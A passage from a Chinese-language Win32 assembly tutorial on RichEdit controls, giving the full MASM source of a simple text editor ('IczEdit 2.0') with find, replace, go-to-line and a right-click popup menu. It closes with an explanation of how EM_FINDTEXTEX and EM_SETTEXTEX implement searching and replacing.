ENM_LINK | Rich Edit 2.0 或以后版本： 当鼠标在具有 CFE_LINK 风格的正文上面移过，而且执行了一个或几个鼠标动作时，就发送 EN_LINK 通知。
ENM_MOUSEEVENTS | 为鼠标消息发送 EN_MSGFILTER 通知。
ENM_OBJECTPOSITIONS | 发送 EN_OBJECTPOSITIONS 通知
ENM_PROTECTED | 发送 EN_PROTECTED 通知
ENM_REQUESTRESIZE | 发送 EN_REQUESTRESIZE 通知
ENM_SCROLL | 发送 EN_HSCROLL 和 EN_VSCROLL 通知
ENM_SCROLLEVENTS | 为鼠标滑轮发送 EN_MSGFILTER 通知。
ENM_SELCHANGE | 发送 EN_SELCHANGE 通知
ENM_UPDATE | 发送 EN_UPDATE 通知 Rich Edit 2.0 和以后版本： 这个标志值会被忽略，而经常发送 EN_UPDATE 通知。然而如果 RichEdit 3.0 模拟 RichEdit 1.0的话，你必须使用这个标志值来发送 EN_UPDATE 通知

上面的所有通知都被做为 WM_NOTIFY 消息来发送：你必须检查 NMHDR 结构的 code 成员来得到通知消息。譬如，如果你想注册得到鼠标消息(也就是说，你想提供一给上下文相关的弹出菜单), 你需要象下面这样做：

    invoke SendMessage,hwndRichEdit,EM_SETEVENTMASK,0,ENM_MOUSEEVENTS
    .....
    .....
    WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .....
    ....
        .elseif uMsg==WM_NOTIFY
            push esi
            mov esi,lParam
            assume esi:ptr NMHDR
            .if [esi].code==EN_MSGFILTER
                ....
                [ do something here]
                ....
            .endif
            pop esi

例子：

下面的例子是第33篇指南里的 IczEdit 的改进版。它为程序增加了搜索/替换功能和加速键。同时它处理鼠标消息，点右键时会出现一个弹出菜单。

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\gdi32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU                   equ 101
IDM_OPEN                      equ  40001
IDM_SAVE                       equ 40002
IDM_CLOSE                      equ 40003
IDM_SAVEAS                     equ 40004
IDM_EXIT                       equ 40005
IDM_COPY                      equ  40006
IDM_CUT                       equ  40007
IDM_PASTE                      equ 40008
IDM_DELETE                     equ 40009
IDM_SELECTALL                  equ 40010
IDM_OPTION 			equ 40011
IDM_UNDO			equ 40012
IDM_REDO			equ 40013
IDD_OPTIONDLG                  equ 101
IDC_BACKCOLORBOX               equ 1000
IDC_TEXTCOLORBOX               equ 1001
IDR_MAINACCEL                 equ  105
IDD_FINDDLG                    equ 102
IDD_GOTODLG                    equ 103
IDD_REPLACEDLG                 equ 104
IDC_FINDEDIT                  equ  1000
IDC_MATCHCASE                  equ 1001
IDC_REPLACEEDIT                 equ 1001
IDC_WHOLEWORD                  equ 1002
IDC_DOWN                       equ 1003
IDC_UP                       equ   1004
IDC_LINENO                   equ   1005
IDM_FIND                       equ 40014
IDM_FINDNEXT                  equ  40015
IDM_REPLACE                     equ 40016
IDM_GOTOLINE                   equ 40017
IDM_FINDPREV                  equ  40018
RichEditID 			equ 300

.data
ClassName db "IczEditClass",0
AppName  db "IczEdit version 2.0",0
RichEditDLL db "riched20.dll",0
RichEditClass db "RichEdit20A",0
NoRichEdit db "Cannot find riched20.dll",0
ASMFilterString 		db "ASM Source code (*.asm)",0,"*.asm",0
                db "All Files (*.*)",0,"*.*",0,0
OpenFileFail db "Cannot open the file",0
WannaSave db "The data in the control is modified. Want to save it?",0
FileOpened dd FALSE
BackgroundColor dd 0FFFFFFh		; default to white
TextColor dd 0		; default to black
hSearch dd ?		; handle to the search/replace dialog box
hAccel dd ?

.data?
hInstance dd ?
hRichEdit dd ?
hwndRichEdit dd ?
FileName db 256 dup(?)
AlternateFileName db 256 dup(?)
CustomColors dd 16 dup(?)
FindBuffer db 256 dup(?)
ReplaceBuffer db 256 dup(?)
uFlags dd ?
findtext FINDTEXTEX <>

.code
start:
    mov byte ptr [FindBuffer],0
    mov byte ptr [ReplaceBuffer],0
    invoke GetModuleHandle, NULL
    mov    hInstance,eax
    invoke LoadLibrary,addr RichEditDLL
    .if eax!=0
        mov hRichEdit,eax
        invoke WinMain, hInstance,0,0, SW_SHOWDEFAULT
        invoke FreeLibrary,hRichEdit
    .else
        invoke MessageBox,0,addr NoRichEdit,addr AppName,MB_OK or MB_ICONERROR
    .endif
    invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:DWORD
    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInst
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,IDR_MAINMENU
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
    mov   hwnd,eax
    invoke ShowWindow, hwnd,SW_SHOWNORMAL
    invoke UpdateWindow, hwnd
    invoke LoadAccelerators,hInstance,IDR_MAINACCEL
    mov hAccel,eax
    .while TRUE
        invoke GetMessage, ADDR msg,0,0,0
        .break .if (!eax)
        invoke IsDialogMessage,hSearch,addr msg
        .if eax==FALSE
            invoke TranslateAccelerator,hwnd,hAccel,addr msg
            .if eax==0
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
            .endif
        .endif
    .endw
    mov   eax,msg.wParam
    ret
WinMain endp

StreamInProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesRead:DWORD
    invoke ReadFile,hFile,pBuffer,NumBytes,pBytesRead,0
    xor eax,1
    ret
StreamInProc endp

StreamOutProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesWritten:DWORD
    invoke WriteFile,hFile,pBuffer,NumBytes,pBytesWritten,0
    xor eax,1
    ret
StreamOutProc endp

CheckModifyState proc hWnd:DWORD
    invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
    .if eax!=0
        invoke MessageBox,hWnd,addr WannaSave,addr AppName,MB_YESNOCANCEL
        .if eax==IDYES
            invoke SendMessage,hWnd,WM_COMMAND,IDM_SAVE,0
        .elseif eax==IDCANCEL
            mov eax,FALSE
            ret
        .endif
    .endif
    mov eax,TRUE
    ret
CheckModifyState endp

SetColor proc
    LOCAL cfm:CHARFORMAT
    invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,BackgroundColor
    invoke RtlZeroMemory,addr cfm,sizeof cfm
    mov cfm.cbSize,sizeof cfm
    mov cfm.dwMask,CFM_COLOR
    push TextColor
    pop cfm.crTextColor
    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cfm
    ret
SetColor endp

OptionProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL clr:CHOOSECOLOR
    .if uMsg==WM_INITDIALOG
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDC_BACKCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push BackgroundColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop BackgroundColor
                    invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDC_TEXTCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push TextColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop TextColor
                    invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDOK
                invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
                push eax
                invoke SetColor
                pop eax
                invoke SendMessage,hwndRichEdit,EM_SETMODIFY,eax,0
                invoke EndDialog,hWnd,0
            .endif
        .endif
    .elseif uMsg==WM_CTLCOLORSTATIC
        invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
        .if eax==lParam
            invoke CreateSolidBrush,BackgroundColor
            ret
        .else
            invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
            .if eax==lParam
                invoke CreateSolidBrush,TextColor
                ret
            .endif
        .endif
        mov eax,FALSE
        ret
    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
OptionProc endp

SearchProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke CheckRadioButton,hWnd,IDC_DOWN,IDC_UP,IDC_DOWN
        invoke SendDlgItemMessage,hWnd,IDC_FINDEDIT,WM_SETTEXT,0,addr FindBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDOK
                mov uFlags,0
                invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                .if eax!=0
                    invoke IsDlgButtonChecked,hWnd,IDC_DOWN
                    .if eax==BST_CHECKED
                        or uFlags,FR_DOWN
                        mov eax,findtext.chrg.cpMin
                        .if eax!=findtext.chrg.cpMax
                            push findtext.chrg.cpMax
                            pop findtext.chrg.cpMin
                        .endif
                        mov findtext.chrg.cpMax,-1
                    .else
                        mov findtext.chrg.cpMax,0
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_MATCHCASE
                    .if eax==BST_CHECKED
                        or uFlags,FR_MATCHCASE
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_WHOLEWORD
                    .if eax==BST_CHECKED
                        or uFlags,FR_WHOLEWORD
                    .endif
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,uFlags,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .else
                mov eax,FALSE
                ret
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
SearchProc endp

ReplaceProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL settext:SETTEXTEX
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke SetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer
        invoke SetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                invoke GetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer,sizeof ReplaceBuffer
                mov findtext.chrg.cpMin,0
                mov findtext.chrg.cpMax,-1
                mov findtext.lpstrText,offset FindBuffer
                mov settext.flags,ST_SELECTION
                mov settext.codepage,CP_ACP
                .while TRUE
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax==-1
                        .break
                    .else
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                        invoke SendMessage,hwndRichEdit,EM_SETTEXTEX,addr settext,addr ReplaceBuffer
                    .endif
                .endw
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
ReplaceProc endp

GoToProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL LineNo:DWORD
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemInt,hWnd,IDC_LINENO,NULL,FALSE
                mov LineNo,eax
                invoke SendMessage,hwndRichEdit,EM_GETLINECOUNT,0,0
                .if eax>LineNo
                    invoke SendMessage,hwndRichEdit,EM_LINEINDEX,LineNo,0
                    mov chrg.cpMin,eax
                    mov chrg.cpMax,eax
                    invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
                    invoke SetFocus,hwndRichEdit
                .endif
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
GoToProc endp

PrepareEditMenu proc hSubMenu:DWORD
    LOCAL chrg:CHARRANGE
    invoke SendMessage,hwndRichEdit,EM_CANPASTE,CF_TEXT,0
    .if eax==0		; no text in the clipboard
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANUNDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANREDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr chrg
    mov eax,chrg.cpMin
    .if eax==chrg.cpMax		; no current selection
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_ENABLED
    .endif
    ret
PrepareEditMenu endp

WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL ofn:OPENFILENAME
    LOCAL buffer[256]:BYTE
    LOCAL editstream:EDITSTREAM
    LOCAL hFile:DWORD
    LOCAL hPopup:DWORD
    LOCAL pt:POINT
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_CREATE
        invoke CreateWindowEx,WS_EX_CLIENTEDGE,addr RichEditClass,0,WS_CHILD or WS_VISIBLE or ES_MULTILINE or WS_VSCROLL or WS_HSCROLL or ES_NOHIDESEL,\
                CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
        mov hwndRichEdit,eax
        invoke SendMessage,hwndRichEdit,EM_LIMITTEXT,-1,0
        invoke SetColor
        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
        invoke SendMessage,hwndRichEdit,EM_SETEVENTMASK,0,ENM_MOUSEEVENTS
        invoke SendMessage,hwndRichEdit,EM_EMPTYUNDOBUFFER,0,0
    .elseif uMsg==WM_NOTIFY
        push esi
        mov esi,lParam
        assume esi:ptr NMHDR
        .if [esi].code==EN_MSGFILTER
            assume esi:ptr MSGFILTER
            .if [esi].msg==WM_RBUTTONDOWN
                invoke GetMenu,hWnd
                invoke GetSubMenu,eax,1
                mov hPopup,eax
                invoke PrepareEditMenu,hPopup
                mov edx,[esi].lParam
                mov ecx,edx
                and edx,0FFFFh
                shr ecx,16
                mov pt.x,edx
                mov pt.y,ecx
                invoke ClientToScreen,hWnd,addr pt
                invoke TrackPopupMenu,hPopup,TPM_LEFTALIGN or TPM_BOTTOMALIGN,pt.x,pt.y,NULL,hWnd,NULL
            .endif
        .endif
        pop esi
    .elseif uMsg==WM_INITMENUPOPUP
        mov eax,lParam
        .if ax==0		; file menu
            .if FileOpened==TRUE	; a file is already opened
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_GRAYED
            .endif
        .elseif ax==1	; edit menu
            invoke PrepareEditMenu,wParam
        .elseif ax==2		; search menu bar
            .if FileOpened==TRUE
                invoke EnableMenuItem,wParam,IDM_FIND,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_FIND,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_GRAYED
            .endif
        .endif
    .elseif uMsg==WM_COMMAND
        .if lParam==0		; menu commands
            mov eax,wParam
            .if ax==IDM_OPEN
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset FileName
                mov byte ptr [FileName],0
                mov ofn.nMaxFile,sizeof FileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetOpenFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        mov hFile,eax
                        ;================================================================
                        ; stream the text into the richedit control
                        ;================================================================
                        mov editstream.dwCookie,eax
                        mov editstream.pfnCallback,offset StreamInProc
                        invoke SendMessage,hwndRichEdit,EM_STREAMIN,SF_TEXT,addr editstream
                        ;==========================================================
                        ; Initialize the modify state to false
                        ;==========================================================
                        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                        invoke CloseHandle,hFile
                        mov FileOpened,TRUE
                    .else
                        invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                    .endif
                .endif
            .elseif ax==IDM_CLOSE
                invoke CheckModifyState,hWnd
                .if eax==TRUE
                    invoke SetWindowText,hwndRichEdit,0
                    mov FileOpened,FALSE
                .endif
            .elseif ax==IDM_SAVE
                invoke CreateFile,addr FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                .if eax!=INVALID_HANDLE_VALUE
@@:
                    mov hFile,eax
                    ;================================================================
                    ; stream the text to the file
                    ;================================================================
                    mov editstream.dwCookie,eax
                    mov editstream.pfnCallback,offset StreamOutProc
                    invoke SendMessage,hwndRichEdit,EM_STREAMOUT,SF_TEXT,addr editstream
                    ;==========================================================
                    ; Initialize the modify state to false
                    ;==========================================================
                    invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                    invoke CloseHandle,hFile
                .else
                    invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                .endif
            .elseif ax==IDM_COPY
                invoke SendMessage,hwndRichEdit,WM_COPY,0,0
            .elseif ax==IDM_CUT
                invoke SendMessage,hwndRichEdit,WM_CUT,0,0
            .elseif ax==IDM_PASTE
                invoke SendMessage,hwndRichEdit,WM_PASTE,0,0
            .elseif ax==IDM_DELETE
                invoke SendMessage,hwndRichEdit,EM_REPLACESEL,TRUE,0
            .elseif ax==IDM_SELECTALL
                mov chrg.cpMin,0
                mov chrg.cpMax,-1
                invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
            .elseif ax==IDM_UNDO
                invoke SendMessage,hwndRichEdit,EM_UNDO,0,0
            .elseif ax==IDM_REDO
                invoke SendMessage,hwndRichEdit,EM_REDO,0,0
            .elseif ax==IDM_OPTION
                invoke DialogBoxParam,hInstance,IDD_OPTIONDLG,hWnd,addr OptionProc,0
            .elseif ax==IDM_SAVEAS
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset AlternateFileName
                mov byte ptr [AlternateFileName],0
                mov ofn.nMaxFile,sizeof AlternateFileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetSaveFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr AlternateFileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        jmp @B
                    .endif
                .endif
            .elseif ax==IDM_FIND
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_FINDDLG,hWnd,addr SearchProc,0
                .endif
            .elseif ax==IDM_REPLACE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_REPLACEDLG,hWnd,addr ReplaceProc,0
                .endif
            .elseif ax==IDM_GOTOLINE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_GOTODLG,hWnd,addr GoToProc,0
                .endif
            .elseif ax==IDM_FINDNEXT
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov eax,findtext.chrg.cpMin
                    .if eax!=findtext.chrg.cpMax
                        push findtext.chrg.cpMax
                        pop findtext.chrg.cpMin
                    .endif
                    mov findtext.chrg.cpMax,-1
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_FINDPREV
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov findtext.chrg.cpMax,0
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,0,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        invoke CheckModifyState,hWnd
        .if eax==TRUE
            invoke DestroyWindow,hWnd
        .endif
    .elseif uMsg==WM_SIZE
        mov eax,lParam
        mov edx,eax
        and eax,0FFFFh
        shr edx,16
        invoke MoveWindow,hwndRichEdit,0,0,eax,edx,TRUE
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp
end start

分析

文本搜索功能是使用EM_FINDTEXTEX 来实现的。当用户点击Find菜单项时，IDM_FIND 消息就会被发送，并显示一个 搜索 对话框。

    invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
    .if eax!=0

当用户输入搜索正文，按下Ok按钮后，我们从FindBuffer缓冲区中得到要搜索的正文串。

        mov uFlags,0
        invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg

如果正文串不为空，我们就继续初始化uFlags 变量为 0 。这个变量被用来保存跟 EM_FINDTEXTEX 一起使用的搜索标志。之后，通过 EM_EXGETSEL ，我们得到当前选定的正文，因为我们需要知道搜索操作的开始位置。

    invoke IsDlgButtonChecked,hWnd,IDC_DOWN
        .if eax==BST_CHECKED
            or uFlags,FR_DOWN
            mov eax,findtext.chrg.cpMin
            .if eax!=findtext.chrg.cpMax
                push findtext.chrg.cpMax
                pop findtext.chrg.cpMin
            .endif
            mov findtext.chrg.cpMax,-1
        .else
            mov findtext.chrg.cpMax,0
        .endif

下一步就有一点精巧了。我们检查搜索方向Radio按钮来得到要按什么方向进行搜索。如果是向下搜索，我们设置 uFlags 为FR_DOWN 标志值。然后我们比较 cpMin 和 cpMax，检查是否要在选定的正文里搜索。 如果两者的值不相等，说明有当前选定正文，我们需要从选定正文的结尾开始搜索，到控件中的正文的结尾结束。从而我们需要替换 cpMax 的值为 cpMin ，并改变 cpMax 的值为 -1 (0FFFFFFFFh)。如果没有当前选定正文，搜索的范围是从当前插入点（光标）到所有正文的结尾。

如果用户选择了向前搜索，我们使用的范围是从选定正文的开始到控件中正文的开始处。这个就是我们只改变 cpMax 的值为 0 原因。在使用向前搜索的情况下，cpMin 包含搜索范围中最后一个字符的的字符索引。而cpMax 则是搜索范围中第一个字符的字符索引。向后搜索则刚刚相反。

        invoke IsDlgButtonChecked,hWnd,IDC_MATCHCASE
        .if eax==BST_CHECKED
            or uFlags,FR_MATCHCASE
        .endif
        invoke IsDlgButtonChecked,hWnd,IDC_WHOLEWORD
        .if eax==BST_CHECKED
            or uFlags,FR_WHOLEWORD
        .endif
        mov findtext.lpstrText,offset FindBuffer

我们继续检查搜索标志的检查框，也就是 FR_MATCHCASE and FR_WHOLEWORD。最后，我们把要搜索的正文串的偏移量放入 lpstrText 成员中。

        invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,uFlags,addr findtext
        .if eax!=-1
            invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
        .endif
    .endif

现在我们已经准备好发送 EM_FINDTEXTEX 消息了。之后，我们检查通过 SendMessage 返回的搜索结果。如果返回 -1， 表示没有找到匹配的正文串。否则，FINDTEXTEX 结构的 chrgText 成员里会被填入匹配正文串的字符索引。因此我们继续使用 EM_EXSETSEL 消息来选定该正文串。

替换操作也是以差不多的方式来完成。

    invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
    invoke GetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer,sizeof ReplaceBuffer

我们先找到要搜索的正文串和用来替换的正文串。

    mov findtext.chrg.cpMin,0
    mov findtext.chrg.cpMax,-1
    mov findtext.lpstrText,offset FindBuffer

为容易起见，替换操作在整个控件的所有正文中进行。因此开始索引为 0 ，结束索引为 -1。

    mov settext.flags,ST_SELECTION
    mov settext.codepage,CP_ACP

我们初始化 SETTEXTEX 结构来表明我们想替换当前选定的文本和使用系统缺省的代码页。

    .while TRUE
        invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
        .if eax==-1
            .break
        .else
            invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
            invoke SendMessage,hwndRichEdit,EM_SETTEXTEX,addr settext,addr ReplaceBuffer
        .endif
    .endw

我们进入无限循环，来搜索匹配的正文。如果找到一个，我们就通过EM_EXSETSEL 来选定它，并通过EM_SETTEXTEX 替换它。当没找到其他匹配串时，我们就退出循环体。

